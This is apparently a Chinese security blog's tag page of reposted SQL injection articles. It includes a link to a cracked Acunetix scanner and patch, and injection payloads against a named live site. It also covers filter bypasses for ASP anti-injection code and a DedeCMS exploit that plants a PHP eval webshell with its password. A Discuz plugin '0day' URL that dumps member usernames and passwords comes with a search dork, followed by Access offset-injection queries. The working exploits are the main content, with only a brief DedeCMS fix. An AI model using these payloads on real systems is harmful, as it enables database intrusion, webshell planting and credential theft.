Posts tagged 注入

Acunetix Web Vulnerability Scanner 6.5 Build 2010_02_10 Enterprise Version

Acunetix Web Vulnerability Scanner 6.5 Build 2010_02_10 Enterprise Version:

Download Here

2010_02_10_01_webvulnscan65.exe

size: 15445824 byte

MD5: 4BB84128A895CD5959C1369E1BD8AE55

SHA1: 040AFAC2EE406AB6FBCF8AFBA078C34074EED933

CRC32: 0CAFEA4F

Crack Patch:

Download Here

from:http://item.feedsky.com/~feedsky/pcsec/~7171797/336630904/5281982/1/item.html

绕过单引号继续注入

/

Web应用程序一般都会使用数据库来保存各种信息,比如电子商务网站的帐户信息、销售商品的价格,订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的,因此,在数据交互的环节没有安全过滤净化,则可能易于受到SQL注入攻击,严重的可能导致数据库非法操作,但是随着时间的推移,Web应用程序的开发者安全意识的日渐增强,SQL注入漏洞已经呈下降消失状态,但是之前的Web程序在被动防范SQL攻击时,还是略显乏力,或者说是考虑不太周全。比如说普遍使用的过滤关键字的方法,如果仅仅过滤单引号或者小写类的关键字,则极易出现绕过的情形,而国内的安全公司相继推出的硬件WAF是否会存在同样的问题呢?从根本上说硬件WAF基于访问请求流量来鉴别攻击行为,可能在以后的攻防对立的演化过程也会慢慢有爆出被绕过的问题,所有的问题依然存在。本文试着在注入的SQL语句中不引用单引号,来和大家讨论一下注入攻击的部分原理和技巧。在一次测试中,发现一注入点过滤了单引号和小写的关键字,提交语句如下:

http://www.nuanyue.com/Test.asp?id=28′ AND 1=(SELECT @@VERSION)—


去掉单引号再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 1=(SELECT @@VERSION)—


成功爆出数据库的系统版本了,说明在处理数据提交时,网站即使过滤了单引号了,依然可以注入。以下将和大家讨论获取数据库名、获取表名、获取列名、获取值等内容的部分SQL语句。在Mssql2005master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有的数据库信息,仅需要PUBLIC权限就可以进行select操作:

use master;

SELECT * FROM MASTER.DBO.SYSDATABASES


一至四,都是系统自带的数据库名,所以可以通过dbid这个查询变量来一一进行爆出数据库名,提交查询语句:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)


查询语句通过dbid取值从1至到无法爆出数据库名为至。


Mssql2005版本里每个数据库都有一个用来存放表名信息的表,其权限同样仅public权限就能查询了,表名为:INFORMATION_SCHEMA.TABLES

use master ;

select * from INFORMATION_SCHEMA.TABLES;


表名就存储在TABLE_NAME列里,通过使用条件查询语句限制型“Top 1″,一条条纪录爆出表名来。

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)


其为爆出的第一条纪录。如想爆出第一条记录,即可以使用sql语法的条件语句“where table_name !=0x已经爆出表名的十六进制来取内容。先取已爆表名的十六进制。


再提交语句如下:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=0×41006400760065007200740069007A0065007200)


成功爆出第二个表名,剩下的以此类推。当然读取数据库的INFORMATION_SCHEMA.TABLES表内容,只是当前数据库的表名,如果要读取整个数据库的表名,可以读sysobjects表的name列名,原理同上。

在获取表名,得到列名是注入的下一个关键问题,在MSSQL 2005的数据库里,有张表名sys.all_objects里存放着表与列的信息,其表的列名object_id里存放着一个数值,对应着另一表名sys.all_columns里的列名ID,sys.all_columns表里存放着列的信息。执行:

Select * from sys.all_objects


由上图可知,列名name和列名object_id是有对应的。在注入时,可以通过指定name值来指定爆表的object_id的值。提交:

http://www.nuanyue.com/Test.asp?id=28 AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE43006C00690063006B0049005000)—


以上语句是无法直接爆出数值来的,但是可以用折半法来进行猜解,由于其数值都在10位以上,所以,其法也不太可能,但是可以联合两张表来直接查询。再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000)—


已经爆出表名0×43006C00690063006B0049005000的第一个列名ID了,可以加入条件“and B.NAMe != 0x已经爆出的列名
类推可以依次爆出。

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000 AND B.NAME!=0×49004400)—


在获取了表名和列名之后,获取其值也是很简单的。比较常用的有比如这样的获取值的:

http://www.nuanyue.com/Test.asp?id=28 AND 77= (SELECT ascii(@@VERSION))

http://www.nuanyue.com/Test.asp?id=28 AND 1=2 UNSION SELECT 1,2,3..@@VERSION–…

一种是爆错对比,一种是union操作。第一种是基于查询后值的对比,而union操作是将执行返回的结果直接在浏览器显示,从而避免繁琐的折半猜测,在使用union操作时,前提则是前后查询的两种结果的结构相同,即是列名数相同,可以通过“order by 列名数来鉴别。

http://www.nuanyue.com/Test.asp?id=28 order by 1—

http://www.nuanyue.com/Test.asp?id=28 order by 2


http://www.nuanyue.com/Test.asp?id=28 Order by 8—

此时,返回错误页面,即说明列名数是8,执行语句:

http://www.nuanyue.com/Test.asp?id=28 and 1=2 Unsion select 1,2,3,4,5,6,7,8—

来取出纪录。

防范SQL注入攻击,尽管不同的数据库也会有不同的攻击技巧,复杂程序也各不相同,而许多SQL注入防范措施仅仅从某一处着手或者部分有效,从一个安全整体的角度立体的防护或许是值得借鉴的方法,比如从代码逻辑层、数据库层、网络层、系统层等,从本文阐述的原理来看,下次针对数据库的安全加固,你是否会调整一下“SYSOBJECTSSYSCOLUMNS”等对象的权限呢?好像数据库批量挂马也有用到这两个表哦!

From:http://www.nuanyue.com/绕过单引号继续注入.html

利用MySQL的注射点得到更多MySQL的信息

当注射MySQL库的输入点的时候,我们可以通过version()/user()/database()/password()等内置函数来得到MySQL的相关信息,其实我们在注射的时候可以利用MySQL内置的变量来得到更多的MySQL信息

其中version()可以写成@@version来把version当做变量来读取,这样一样可以得到,其他的内置是不可以写成变量的形式.
大家都应该用过利用pangolin来注入MySQL库的注射点,认真的朋友都应该知道可以的得到basedir和datadir这两个变量的信息,其实还有更多的变量在注射的时候可以利用
我整理了几个在注射的时候可以利用到,收集更多关于MySQL的配置信息

@@have_openssl 如果MySQLd支持客户端/服务器协议的SSL(加密)则为YES
@@version_compile_os 判断系统类型
@@max_allowed_packet 包或任何生成的/中间字符串的最大大小
@@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制
@@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON
@@table_type 默认表类型(存储引擎)
@@basedir MySQL安装基准目录
@@character_set_database 默认数据库使用的字符集
@@datadir 数据库存储的地方
@@expire_logs_days 二进制日志自动删除的天数,默认是0,表示”没有自动删除”
@@group_concat_max_len 允许group_concat()函数结果的最大长度
@@log_error 错误日志的位置
@@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.
ON说明对文件名的大小写不敏感,OFF表示敏感
@@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.
如果设置为2,按照指定的保存表名,但按照小写来比较
@@plugin_dir 插件目录的路径
@@tmpdir 保存临时文件和临时表的目录
@@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表
@@sql_mode 当前服务器的sql模式
@@tx_isolation 默认事务隔离级别。默认值为REPEATABLE-READ
@@Connections 连接MySQL数据库服务器的次数(不管成功还是失败)
@@max_write_lock_count 最大写锁数量
@@old_passwords 是否启用MySQL323加密方式(就是MySQL用户密码的hash是16位的)
@@Uptime 服务器已经运行的时间

其中我感觉basedir/version_compile_os/log_error/group_concat_max_len这四个变量的作用很大,大家看上面的注视
group_concat_max_len这个变量涉及到group_concat()的返回字符长度,所以在使用group_concat()来注射时候要注意长度的限制.

tips:group_concat()函数的利用如下
url and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
这样的话,就可以把当前用户中建立数据库名全部显示出来,在注射表名、字段名、字段属性都可以使用,这样的话又省了不少体力活
同时group_concat()还可以绕过不能使用limit的现实,当然不嫌累的话,可以使用”!=”的形式来绕过limit的限制
from:mysql社区

一种防注入代码的绕过学习总结

前些阵子讯时系统爆出了很多洞,先看他的怎么写的,下面是从他的admin_conn.asp文件中找到的。

  sss=LCase(request.servervariables(”QUERY_STRING”))
  if instr(sss,”select”)<>0 or instr(sss,”inster”)<>0 or instr(sss,”delete”)<>0 or
  instr(sss,”(”)<>0 or instr(sss,”‘or”)<>0 then
  response.write “你的网址不合法”
  response.end
  end if
代码使用了 request.servervariables的方法来获得传递过来的数据,然后赋值给sss。再判断传递过来的sss变量中是否含有 select,inster等敏感的字符串,只要有就结束程序。给普通注入造成了极大的麻烦,需要有新的东西出现来突破这个防注入。

现已知的有两种方法:
1.使用URL编码我们传递的数据,比如select可以编码为selec%74(即将t转换为url编码),这样就可以实现注入了!
2.使用cookies注入。

先看看第1种怎么实现的吧。因为程序接受的参数使用的是request.servervariables,呵呵,这个方法和我们平时的request不太一样的,因为它接受的数据都会原封不动的接受的,比如我们传递了selec%74,那么这里sss里就会是selec%74,而不是已经解码的select 字符串了。当下面的判断语句来判断时会因为select<>selec%74而绕过检测!

第2种利用了request的cookie方法来传递数据,为什么呢?看程序的代码我们知道因为他只判断了使用 request.servervariables(”QUERY_STRING”)来接受的数据,我们如果用cookie来传递的话,程序当然不会去检测了,只要在前面的代码中找到一处使用request的方法接收变量的地方。这就是cookie的注射了。比如:前面有这样代码我们就可以实现cookie 注射了.这次代码在讯时admin_news_view.asp中截的。

  <%   newsid=trim(request(”newsid”))   sql = “select * from news where id=”&newsid   Set rs = Server.CreateObject(”ADODB.RecordSet”)   rs.Open sql,conn,1,1   title=rs(”title”)   dat=rs(”time”)   hit=rs(”hit”)+1   content=rs(”content”)   %>
使用了request接收,而它会依次的去用3种数据集合(Form,QueryString,cookie)去判断,所以我们可以使用cookie来提交我们构造的SQL语句了.这里就不在截图了,具体可以参考这篇文章《最新版讯时新闻发布系统惊爆cookie漏洞》

但是并不是所有的程序都这么另人兴奋的哦,上次入侵一个站时,就碰到了这种情况,找到了源码下来看,却没有突破这个防注入。代码如下:

  sub check()
  Fy_Url=Request.ServerVariables(”QUERY_STRING”)
  Fy_a=split(Fy_Url,”&”)
  redim Fy_Cs(ubound(Fy_a))
  On Error Resume Next
  for Fy_x=0 to ubound(Fy_a)
  Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),”=”)-1)
  Next
  For Fy_x=0 to ubound(Fy_Cs)
  If Fy_Cs(Fy_x)<>”” Then
  If Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0 or Instr(LCase(Request(Fy_Cs
  (Fy_x))),”and”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”select”)<>0 or Instr(LCase
  (Request(Fy_Cs(Fy_x))),”union”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”from”)<>0 or
  Instr(LCase(Request(Fy_Cs(Fy_x))),” “)<>0 Then
  response.Write(”嘿嘿,不要你注射!屏蔽了关键字,但是这个屏蔽程序却不好——如何突破呢?”)
  Response.End
  End If
  End If
  Next
  end sub
这样的代码,都是用了Request.ServerVariables(”QUERY_STRING”)来接收的数据,但是你直接将注入的字符URL编码,会看到仍不能注射!

那到底怎么去突破呢?看下面!lake2大牛曾经写过一篇突破这种防注入的大作,这个方法也就是大牛发现的! 写的很详细哦,我们就引用大牛的话来解释一下这个绕过机制。

“Request.ServerVariables(”QUERY_STRING”)是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。”下面是我的理解,因为程序使用 Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0这样的判断语句,它是判断了name的值即 value,而且使用request来接收数据的.前面我们如果在url里value我们用url编码后来提交,然后当值传递到这里,就又会被解码了,所以程序可以检测得到.注意,但它只是判断了name的值即value,但对name,可以看到没有判断,而它又是通过name这个变量名来判断SQL语句的,所以只要用url编码name就可以了,然后程序仍是去判断name的值,但是这次是i%64,会被转换为id,可是我们并没有赋值给id而是 i%64,呵呵,那么id的值它就会认为是空,就这样绕过了哦!

可以看出只要能保证前面接收的方式不能解码,后面判断的语句可以解码就可以绕过了。后来胡思乱想到了chr()函数,只是YY了一下…..也没成。

而且这里是不是也可以用cookie注射呢?我测试的时候没有成,可能找的不是用request接受的地方….

from:http://www.nuanyue.com/%E4%B8%80%E7%A7%8D%E9%98%B2%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93.html

dedecms最新注入漏洞

dedecms5.3和5.5系列版本存在重大注入漏洞,
请注意以下操作有攻击性,仅供研究.利用此漏洞进行违法活动者,后果自负.
作者:张恒
假设域名是:www.abc.com攻击步骤如下:
1.访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息

200908272049101828

2.访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了.
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

3.执行压缩包里的文件test.html,注意form中action 的地址是:
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
按确定后的看到第2步骤的信息表示文件木马上传成功.
木马网址:http://www.abc.com/data/a.php
密码:2006888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞.
解决方案:
打开文件include/dedesql.class.php
找到代码
@fwrite($fp, ‘<”.’?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
清空 data/mysql_error_trace.php 文件内容


下载压缩包

Discuz账号发放插件注入0day

来源: 普瑞斯特

Discuz账号发放插件注入0day

插件名:2Fly礼品(序号)发放系统
漏洞文件:2fly_gift.php
版本:最新版
Exp:http://www.xxx.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members

搜索引擎特征:inurl:2fly_gift.php
上图:


access偏移注入

此方法解决%90注入得到表的不到字段的网站

我举动力文章的例子,他的是28个字段,加入admin表5个字段,那么

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin

* 就是5个字段?这样来爆admin里边的所有表名,但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置,他就会显示在页面上。

技术都有局限性 这个方法需要知道表名和一个字段名id,不需要其他字段,比如什么password username 。你要问他如果不在可显示位置么,通常不知道的是表名 表段名 可以通过查找后台登陆找到,这个就要看自己的了。

大家看看这个语句

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)

这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面18+2*5 = 28 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

如果不在怎么办? 那么

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的

这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 30 后边是 28 怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。

如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

雨中风铃注:怎么说呢,免去了猜列名的麻烦,但问题是如何恰好把用户名、密码显示在网页中,我试了试真的很麻烦,不过也算是一种思路吧。这里给个截图:

提交url:http://127.0.0.1/jie1/xijie.asp?id=1372%20union select a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

from:http://www.sg758.cn/post/20.html